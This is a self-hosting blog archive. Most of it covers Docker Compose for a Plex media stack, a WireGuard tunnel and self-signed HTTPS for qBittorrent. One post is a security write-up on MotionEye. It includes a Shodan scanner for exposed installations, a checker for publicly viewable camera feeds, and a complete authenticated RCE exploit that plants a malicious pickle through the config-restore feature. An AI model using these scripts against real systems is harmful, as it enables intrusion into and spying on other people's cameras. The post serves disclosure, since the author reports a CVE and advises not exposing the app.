Category Archives: self hosting

Docker Compose – Plex, Jackett, Sonarr, Radarr, Lidarr, Prowlarr, qBittorrent, and PIA

I updated this post to add in prowlarr support. But here is the updated docker-compose.yml.

version: '3.8'
services:
    
    pms-docker:
        container_name: plex
        network_mode: host
        hostname: plex
        runtime: nvidia
        environment:
            - TZ=America/New_York
            - PLEX_UID=1000
            - PLEX_GID=1000
            - PLEX_CLAIM=<your claim here> 
            - ADVERTISE_IP= #ip:port here e.g. http://127.0.0.1:32400
            - NVIDIA_VISIBLE_DEVICES=GPU-04aeacae-0ae1-25b6-1504-a4bec4ed2da9 #change as needed
            - NVIDIA_DRIVER_CAPABILITIES=compute,video,utility
        volumes:
            - /var/docker/plex/config:/config
            - /var/docker/plex/transcode:/transcode
            - /home/user/data/television:/data/tvshows
            - /home/user/data/movies:/data/movies
            - /home/user/data/music:/data/music
        restart: unless-stopped
        devices:
            - /dev/dri/card0:/dev/dri/card0 #your devices go here
            - /dev/dri/renderD128:/dev/dri/renderD128 #may be different
        image: plexinc/pms-docker:plexpass
    
    arch-qbittorrentvpn:
        container_name: qbittorrentvpn
        hostname: qbittorrentvpn
        cap_add: 
            - NET_ADMIN
        ports:
            - '6881:6881'
            - '6881:6881/udp'
            - '6969:6969'
            - '8118:8118'
        container_name: qbittorrentvpn
        restart: unless-stopped
        volumes:
            - '/home/user/data2/data:/data'
            - '/home/user/data2/config:/config'
            - '/etc/localtime:/etc/localtime:ro'
        environment:
            - VPN_ENABLED=yes
            - VPN_USER= #put your PIA username here
            - VPN_PASS= #put your PIA password here
            - VPN_PROV=pia
            - VPN_CLIENT=openvpn
            - STRICT_PORT_FORWARD=yes
            - ENABLE_PRIVOXY=yes
            - LAN_NETWORK=192.168.1.0/24 #possibly different
            - 'NAME_SERVERS=209.222.18.222,84.200.69.80,37.235.1.174,1.1.1.1,209.222.18.218,37.235.1.177,84.200.70.40,1.0.0.1'
            - VPN_INPUT_PORTS=1234
            - VPN_OUTPUT_PORTS=5678
            - DEBUG=false
            - WEBUI_PORT=6969 #not the default change in webui
            - UMASK=000
            - PUID=1000
            - PGID=1000
        sysctls:
            - net.ipv6.conf.all.disable_ipv6=1
        image: binhex/arch-qbittorrentvpn

    jackett:
        image: ghcr.io/linuxserver/jackett
        container_name: jackett
        environment:
            - PUID=1000
            - PGID=1000
            - TZ=America/New_York
            - AUTO_UPDATE=true 
            - RUN_OPTS=<run options here>
        volumes:
            - /home/user/data2/jackett/config:/config
            - /home/user/data2/data:/downloads
        network_mode: host #9117
        restart: unless-stopped
    
    radarr:
        image: ghcr.io/linuxserver/radarr
        container_name: radarr
        environment:
            - PUID=1000
            - PGID=1000
            - TZ=America/New_York
        volumes:
            - /home/user/data2/radarr:/config
            - /home/user/data/movies:/movies
            - /home/user/data2/data:/downloads
        network_mode: host #7878
        restart: unless-stopped

    sonarr:
        image: ghcr.io/linuxserver/sonarr
        container_name: sonarr
        environment:
            - PUID=1000
            - PGID=1000
            - TZ=America/New_York
        volumes:
            - /home/user/data2/sonarr:/config
            - /home/user/data/television:/tv
            - /home/user/data2/data:/downloads
        network_mode: host #8989
        restart: unless-stopped

    lidarr:
        image: ghcr.io/linuxserver/lidarr
        container_name: lidarr
        environment:
            - PUID=1000
            - PGID=1000
            - TZ=America/New_York
        volumes:
            - /home/user/data2/lidarr:/config
            - /home/user/data/music:/music 
            - /home/user/data2/data:/downloads 
        network_mode: host #8686:8686
        restart: unless-stopped
  
    prowlarr:
        image: lscr.io/linuxserver/prowlarr:develop
        container_name: prowlarr
        environment:
          - PUID=1000
          - PGID=1000
          - TZ=America/New_York
        # put your directories here
        volumes:
          - /home/user/data2/prowlarr:/config
        network_mode: host #9696
        restart: unless-stopped

Hacking MotionEye/MotionEyeOS

Getting Started with MotionEye

MotionEye is an open source, web-based GUI for the popular Motion CLI application found on Linux. I’ve known of the Motion command line app for years, but I didn’t know that MotionEye existed. I ran across it while trying to find a multiple webcam, GUI or web based solution for future projects.

MotionEye comes in a couple forms – a standalone app, which I used the docker container version of, or a “whole” operating system, MotionEyeOS, to install on a Raspberry Pi.

Starting off, I used Shodan search to find internet facing installations. Here is the script I used for that. If you use this script, you’ll need to put in your API key and the limit parameter, which limits the API queries that you use.

#!/usr/bin/env python3

import sys
# pip3 install shodan
from shodan import Shodan
import requests

# check for api key
api = Shodan('') # Insert API key here

if api.api_key == '':
    print("No API key found! Exiting")
    sys.exit(1)

limit = 1000 # set this to limit your api query usage
counter = 0

url_file = open("urls.txt", "w")

for response in api.search_cursor('Server: motionEye'):
    ip = response['ip_str']
    port = response['port']
    url = f'http://{ip}:{port}'
    url_file.write(url + '\n')

    # Keep track of how many results have been downloaded so we don't use up all our query credits
    counter += 1
    if counter >= limit:
        break

url_file.close()

I ran out of query credits when I ran this script. There are thousands of installations out there. This script will output the IP addresses of those installations.

Finding Live Feeds

In my review of the application, I found that you can make a query to the /picture/{camera-number}/current/ endpoint, and if it returns a 200 status code, it means that the feed is open to the public. You can also increment the camera-number an enumerate the numbers of cameras a feed will actually have, even if it isn’t available to view.

I took the output of motioneye-shodan.py script above, and fed it to live-feeds.py script below.

#!/usr/bin/env python3

import requests

url_file = open("urls.txt", "r")
urls = url_file.readlines()
url_file.close()

live_urls = open("live-urls.txt", "w")

for url in urls:
    try:
        response = requests.get(url + "/picture/0/current/", verify=False, timeout=3).status_code
        print(response)
        if response == 200:
            live_urls.write(url)
    except:
        pass

live_urls.close()

This script outputs the URL of camera feeds that we can view. But the real question here is, what security issues are there with MotionEye?

Information Leakage

It turns out that if you make a get request to the following endpoint /config/list, some of the feeds will return their config files. Most of the time these config files are innocuous. I’m not sure why these are publicly accessible even if the feed is publicly accessible. Maybe it is used as an API endpoint of some sort. I need to dig into the code some more.

However, sometimes these config files contain some very sensitive information. Consider the following config with email_notifications_smtp_password and email_notifications_addresses removed. These passwords are supposed to be for services that the public cannot access, but unfortunately people like to reuse passwords. Again, why is this file even readable?

Along with the occasional password, email addresses are in here, internal IP addresses and ports, mounting points for local drives, etc.

Rate-Limiting and Default Credentials

So, the default installation of MotionEye uses the username of admin and a blank password. Additionally, MotionEye does not seem to institute any sort of rate limiting on login attempts. This is a recipe for disaster.

Authenticated RCE Method #1

Once logged in, I found two simple methods of code execution. The first of which is a classic Python cPickle deserialization exploit.

In the configuration section of the application, there is an option to backup and restore the application configurations. It turns out that if you include a malicious tasks.pickle file in the config you are restoring with, it’ll be written to disk and will be loaded when the application is restarted automatically or manually.

You can simply download the current configuration to use it as a template. After downloading and extracting it, slide your malicious tasks.pickle file and tar.gz everything back up.

The final structure of my motioneye-config.tar.gz for the docker container is as follows:

├── camera-1.conf
├── motion.conf
├── motioneye.conf
└── tasks.pickle

Alternatively, the final structure of my motioneye-config.tar.gz lon MotionEyeOS is the following:

├── adjtime
├── camera-1.conf
├── crontabs
├── date.conf
├── localtime -> /usr/share/zoneinfo/UTC
├── motion.conf
├── motioneye.conf
├── ntp.conf
├── os.conf
├── proftpd.conf
├── shadow
├── shadow-
├── smb.conf
├── ssh
│   ├── ssh_host_dsa_key
│   ├── ssh_host_dsa_key.pub
│   ├── ssh_host_ecdsa_key
│   ├── ssh_host_ecdsa_key.pub
│   ├── ssh_host_ed25519_key
│   ├── ssh_host_ed25519_key.pub
│   ├── ssh_host_rsa_key
│   └── ssh_host_rsa_key.pub
├── static_ip.conf
├── tasks.pickle
├── version
├── watch.conf
└── wpa_supplicant.conf

Pause here: You see, those are ssh keys. So you say why don’t we just try ssh? Go for it. You also may not even need a password, but some people have either secured ssh or disabled ssh on the actually raspberry pi, so it won’t work. A lot of these instances will have ssh turned off, and if it is running in docker, you probably won’t be able to download the ssh keys. Also, it is more fun to write scripts in Python.

Once the configuration is uploaded, wait for the app to reload, or, in unfortunate cases, wait for the app to be reloaded by mother nature or the victim. From what I can see, the docker application will not autoreboot. Here is a Python 3 script that will do all of this. Also, see the github repo, which may be more updated.

#!/usr/bin/env python3

import requests
import argparse
import os
import pickle
import hashlib
import tarfile
import time
import string
import random
from requests_toolbelt import MultipartEncoder
import json


# proxies = {"http": "http://127.0.0.1:9090", "https": "http://127.0.0.1:9090"}
proxies = {}


def get_cli_args():
    parser = argparse.ArgumentParser(description="MotionEye Authenticated RCE Exploit")
    parser.add_argument(
        "--victim",
        help="Victim url in format ip:port, or just ip if port 80",
        required=True,
    )
    parser.add_argument("--attacker", help="ipaddress:port of attacker", required=True)
    parser.add_argument(
        "--username", help="username of web interface, default=admin", default="admin"
    )
    parser.add_argument(
        "--password", help="password of web interface, default=blank", default=""
    )
    args = parser.parse_args()
    return args


def login(username, password, victim_url):
    session = requests.Session()
    useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
    headers = {"User-Agent": useragent}
    login_url = f"http://{victim_url}/login/"
    body = f"username={username}&password={password}"
    session.post(login_url, headers=headers, data=body)
    return session


def download_config(username, victim_url, session):
    download_url = f"http://{victim_url}/config/backup/?_username={username}&_signature=5907c8158417212fbef26936d3e5d8a04178b46f"
    backup_file = session.get(download_url)
    open("motioneye-config.tar.gz", "wb").write(backup_file.content)
    return


def create_pickle(ip_address, port):
    shellcode = ""  # put your shellcode here

    class EvilPickle(object):
        def __reduce__(self):
            cmd = shellcode
            return os.system, (cmd,)

    # need protocol=2 and fix_imports=True for python2 compatibility
    pickle_data = pickle.dumps(EvilPickle(), protocol=2, fix_imports=True)
    with open("tasks.pickle", "wb") as file:
        file.write(pickle_data)
        file.close()
    return


def decompress_add_file_recompress():
    with tarfile.open("./motioneye-config.tar.gz") as original_backup:
        original_backup.extractall("./motioneye-config")
        original_backup.close()
    original_backup.close()
    os.remove("./motioneye-config.tar.gz")
    # move malicious tasks.pickle into the extracted directory and then tar and gz it back up
    os.rename("./tasks.pickle", "./motioneye-config/tasks.pickle")
    with tarfile.open("./motioneye-config.tar.gz", "w:gz") as config_tar:
        config_tar.add("./motioneye-config/", arcname=".")
    config_tar.close()
    return


def restore_config(username, password, victim_url, session):
    # a lot of this is not necessary, but makes for good tradecraft
    # recreated 'normal' requests as closely as I could
    t = int(time.time() * 1000)
    path = f"/config/restore/?_={t}&_username={username}"
    # admin_hash is the sha1 hash of the admin's password, which is '' in the default case
    admin_hash = hashlib.sha1(password.encode("utf-8")).hexdigest().lower()
    signature = (
        hashlib.sha1(f"POST:{path}::{admin_hash}".encode("utf-8")).hexdigest().lower()
    )
    restore_url = f"http://{victim_url}/config/restore/?_={t}&_username=admin&_signature={signature}"

    # motioneye checks for "---" as a form boundary. Python Requests only prepends "--"
    # so we have to manually create this
    files = {
        "files": (
            "motioneye-config.tar.gz",
            open("motioneye-config.tar.gz", "rb"),
            "application/gzip",
        )
    }

    useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
    boundary = "----WebKitFormBoundary" + "".join(
        random.sample(string.ascii_letters + string.digits, 16)
    )

    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {
        "Content-Type": m.content_type,
        "User-Agent": useragent,
        "X-Requested-With": "XMLHttpRequest",
        "Cookie": "meye_username=_; monitor_info_1=; motion_detected_1=false; capture_fps_1=5.6",
        "Origin": f"http://{victim_url}",
        "Referer": f"http://{victim_url}",
        "Accept-Language": "en-US,en;q=0.9",
    }
    response = session.post(restore_url, data=m, headers=headers, proxies=proxies)
    # if response == reboot false then we need reboot routine
    content = json.loads(response.content.decode("utf-8"))

    if content["reboot"] == True:
        print("Rebooting! Stand by for shell!")
    else:
        print("Manual reboot needed!")
    return


if __name__ == "__main__":
    print("Running exploit!")
    arguments = get_cli_args()
    session = login(arguments.username, arguments.password, arguments.victim)
    download_config(arguments.username, arguments.victim, session)
    # sends attacker ip and port as arguments to create the pickle
    create_pickle(arguments.attacker.split(":")[0], arguments.attacker.split(":")[1])
    decompress_add_file_recompress()
    restore_config(arguments.username, arguments.password, arguments.victim, session)

Authenticated RCE Method #2

Another method of code execution involves motion detection. There is an option to run a system command whenever motion is detected. The security implications of this are obvious.

python rev shell

Conclusion

While authentication is needed for RCE, the presence of default credentials and lack of rate limiting make obtaining authentication straightforward. There are a lot of people running this software in a vulnerable manner.

As per my usual advice, don’t expose MotionEye to the WWW. Like all the self-hosted solutions, I advise you to install this to face your internal network and then connect to your internal network via OpenVPN or Wireguard.

Update: I was give CVE-2021-44255 for the python pickle exploit.

Wireguard to Your House

Instructions:

  • Run Wireguard on your home server and select a port that you’d like to face externally.
  • Port forward that port in your router to your server. Let’s use port 12345.
  • Create public and private keys on your server.
  • Create conf file on your server.
  • Create keys and conf file on clients (phone, notebook, tablet, etc).
  • Enter keys in conf files.
  • Connect clients to home server.

Here is a sample which has confs for both a server and client. Ensure you enter your information as needed. Don’t forget your interface in the iptables commands.

# home server wg0.conf

[Interface]
PrivateKey = # server privkey here 
Address = 192.168.2.1
ListenPort = 12345

PostUp   = iptables -A FORWARD -i %i -j ACCEPT; iptables -A FORWARD -o %i -j ACCEPT; iptables -t nat -A POSTROUTING -o enp0s31f6 -j MASQUERADE
PostDown = iptables -D FORWARD -i %i -j ACCEPT; iptables -D FORWARD -o %i -j ACCEPT; iptables -t nat -D POSTROUTING -o enp0s31f6 -j MASQUERADE

[Peer]
# notebook
PublicKey = # notebook pubkey here
AllowedIPs = 192.168.2.2

# notebook wg0.conf

[Interface]
PrivateKey = # notebook privkey here
Address = 192.168.2.3
DNS = 192.168.1.125 # dns server (pihole) address on my home network

[Peer]
PublicKey = # server pubkey here
Endpoint = 1.2.3.4:12345 # your home ip address and wireguard port
AllowedIPs = 0.0.0.0/0
PersistentKeepalive = 21

So, in this case, port 12345 should be setup for port forwarding. You clients will connect back to port 12345 on your home IP address. If you have a dynamic IP address at home, you’ll need a solution for that like a custom script, DDNS, or even using a VPS as some sort of jump host.

If you can’t open a port, you could run the server on a Linode (with my referral of course, lol) instance that would be very cheap. A nanode is $5 a month, and now you can use it for other stuff too. Then connect everything to it. Now your phone and home server are on the same network.

Docker Compose – Plex with Plex Pass, Jackett, Sonarr, Radarr, Lidarr, qBittorrent, and PIA

Update: Now with prowlarr, too.

This docker-compose-yml file will run all of these services. This post assumes that you have a little technical knowledge already and that you have Docker and Docker Compose installed. This will run all the downloading with qBittorrent and encrypted over PIA VPN.

Here is the directory structure that this compose file needs.

 /home
└── user
   ├── data
   │   ├── movies
   │   ├── music
   │   └── television
   └── data2
       ├── config
       ├── data
       ├── jackett
       ├── lidarr
       ├── radarr
       └── sonarr
       └── prowlarr
/var
└── docker
   └── plex
       ├── config
       └── transcode

You’ll need to update the docker-compose file with your username. My username is user, so that is what you see in the structure above.

You can make these directories and set permissions with the following commands on Linux.

mkdir -p /home/$USER/data/{movies,music,television}
mkdir -p /home/$USER/data2/{config,data,jackett,lidarr,radarr,sonarr,prowlarr}
sudo mkdir -p /var/docker/plex/{config,transcode}
sudo chown $USER:$USER /var/docker/plex/{config,transcode}

In the docker-compose file, you’ll need to enter your PIA username and password. The Plex service is set up for Plex Pass usage, so you’ll need to enter your plex claim. Once everything is rolling, you’ll need to update path mappings in Sonarr, Radarr, and Lidarr. You do this in settings > download clients in each application.

You also need to setup the downloaders in Sonarr, Radarr, and Lidarr. You can do this through settings > download clients and then click the big plus button to add a client. If you’re not using SSL for your qBittorrent instance, you won’t need to check that box. The same goes for the password protection. If you’re looking to use SSL, you can check out this post of mine.

Now you need to set up Jackett with your indexers. This will be different for everybody, so follow the instructions that are widely available.

As promised, here is the docker-compose.yml file. You may need to change your UID/GID to what is applicable to your installation/user. Please read it thoroughly – especially the comments. There are things you will need to change.

version: '3.8'
services:
    
    pms-docker:
        container_name: plex
        network_mode: host
        hostname: plex
        runtime: nvidia
        environment:
            - TZ=America/New_York
            - PLEX_UID=1000
            - PLEX_GID=1000
            - PLEX_CLAIM=<your claim here> 
            - ADVERTISE_IP= #ip:port here e.g. http://127.0.0.1:32400
            - NVIDIA_VISIBLE_DEVICES=GPU-04aeacae-0ae1-25b6-1504-a4bec4ed2da9 #change as needed
            - NVIDIA_DRIVER_CAPABILITIES=compute,video,utility
        volumes:
            - /var/docker/plex/config:/config
            - /var/docker/plex/transcode:/transcode
            - /home/user/data/television:/data/tvshows
            - /home/user/data/movies:/data/movies
            - /home/user/data/music:/data/music
        restart: unless-stopped
        devices:
            - /dev/dri/card0:/dev/dri/card0 #your devices go here
            - /dev/dri/renderD128:/dev/dri/renderD128 #may be different
        image: plexinc/pms-docker:plexpass
    
    arch-qbittorrentvpn:
        container_name: qbittorrentvpn
        hostname: qbittorrentvpn
        cap_add: 
            - NET_ADMIN
        ports:
            - '6881:6881'
            - '6881:6881/udp'
            - '6969:6969'
            - '8118:8118'
        container_name: qbittorrentvpn
        restart: unless-stopped
        volumes:
            - '/home/user/data2/data:/data'
            - '/home/user/data2/config:/config'
            - '/etc/localtime:/etc/localtime:ro'
        environment:
            - VPN_ENABLED=yes
            - VPN_USER= #put your PIA username here
            - VPN_PASS= #put your PIA password here
            - VPN_PROV=pia
            - VPN_CLIENT=openvpn
            - STRICT_PORT_FORWARD=yes
            - ENABLE_PRIVOXY=yes
            - LAN_NETWORK=192.168.1.0/24 #possibly different
            - 'NAME_SERVERS=209.222.18.222,84.200.69.80,37.235.1.174,1.1.1.1,209.222.18.218,37.235.1.177,84.200.70.40,1.0.0.1'
            - VPN_INPUT_PORTS=1234
            - VPN_OUTPUT_PORTS=5678
            - DEBUG=false
            - WEBUI_PORT=6969 #not the default change in webui
            - UMASK=000
            - PUID=1000
            - PGID=1000
        sysctls:
            - net.ipv6.conf.all.disable_ipv6=1
        image: binhex/arch-qbittorrentvpn

    jackett:
        image: ghcr.io/linuxserver/jackett
        container_name: jackett
        environment:
            - PUID=1000
            - PGID=1000
            - TZ=America/New_York
            - AUTO_UPDATE=true 
            - RUN_OPTS=<run options here>
        volumes:
            - /home/user/data2/jackett/config:/config
            - /home/user/data2/data:/downloads
        network_mode: host #9117
        restart: unless-stopped
    
    radarr:
        image: ghcr.io/linuxserver/radarr
        container_name: radarr
        environment:
            - PUID=1000
            - PGID=1000
            - TZ=America/New_York
        volumes:
            - /home/user/data2/radarr:/config
            - /home/user/data/movies:/movies
            - /home/user/data2/data:/downloads
        network_mode: host #7878
        restart: unless-stopped

    sonarr:
        image: ghcr.io/linuxserver/sonarr
        container_name: sonarr
        environment:
            - PUID=1000
            - PGID=1000
            - TZ=America/New_York
        volumes:
            - /home/user/data2/sonarr:/config
            - /home/user/data/television:/tv
            - /home/user/data2/data:/downloads
        network_mode: host #8989
        restart: unless-stopped

    lidarr:
        image: ghcr.io/linuxserver/lidarr
        container_name: lidarr
        environment:
            - PUID=1000
            - PGID=1000
            - TZ=America/New_York
        volumes:
            - /home/user/data2/lidarr:/config
            - /home/user/data/music:/music 
            - /home/user/data2/data:/downloads 
        network_mode: host #8686:8686
        restart: unless-stopped
  
prowlarr:
    image: lscr.io/linuxserver/prowlarr:develop
    container_name: prowlarr
    environment:
      - PUID=1000
      - PGID=1000
      - TZ=America/New_York
    # put your directories here
    volumes:
      - /home/user/data2/prowlarr:/config
    network_mode: host #9696
    restart: unless-stopped

Now you should be able to cd into the directory that contains this docker compose file, and then run

sudo docker compose up

# or the following, so output isn't printed to screen

sudo docker compose up -d  

This post should point you in the right direction, at least. I’m not responsible for any errors. Things may have been updated since I wrote this post. Special thanks to linuxserver.io and binhex for the images.

Quick and Easy (and not the best) way to use HTTPS with qBittorrent and Firefox

Wanna use HTTPS with your qBittorrent WebUI, but don’t know how? First off, you probably shouldn’t expose the qBittorrent WebUI to the internet. Use Wireguard to tunnel into your home network, and access it that way. Some will say you don’t need HTTPS then, but that is a discussion for another day. Anyway, if you want easy HTTPS with qBittorrent, read on.

In a Linux terminal, run the following command to create cert.crt and key.key – a key and certificate pair.

openssl req -x509 -newkey rsa:4096 -nodes -out cert.crt -keyout key.key -days 365

You can just click through all of the fields below – it won’t affect the operation of your certificate.

Click through these, or enter whatever you want – it doesn’t matter

Now, we need to add these to the WebUI. In qBittorrent, go into tools > options > Web UI. Check use HTTPS instead of HTTP. Then, enter the paths to the certificate and the key that you just created.

Choose Use HTTPS instead of HTTP

Now, when you visit the URL of the qBittorrent web interface, you’ll have HTTPS, but you’ll get a warning.

Warning you’ll get in Chrome

Click advanced and then proceed to ip-address (unsafe) and you’ll be able to log in to your web interface. Don’t worry, everything is safe. The browser is just warning you that this isn’t an official cert from a trusted authority – everything is still encrypted.

You can optionally add an exception in your browser that will bypass this warning message. You probably shouldn’t do this, but oh well. If the bad guy has gotten this far, your qBittorrent app is probably the least of your worries. After all, they’ve probably already cracked your WebUI password, and can run arbitrary python code, as I talked about here.

Anyway, in Firefox, go to settings > privacy & security. Then scroll down to find certificates where you will see the option to view certificates, so click on that. The certificate manager, as seen below, should pop up. Click on the servers tab, and then click add exception.

add an exception in Firefox

Enter the URL of your qBittorrent WebUI. As you can see, in the picture above, mine is 192.168.1.191:6969. Use your URL in the location box on the add security exception screen. Then click get certification. It’ll query the site for the cert and then the checkbox to permanently store this exception will become clickable. So click there and then click on confirm security exception.

That’s all you have to do in Firefox. Now you have HTTPS with your qBitorrent WebUI. Again, this isn’t the best way to do this, but it’ll work. If you want HTTPS with an official certificate, try out Let’s Encrypt.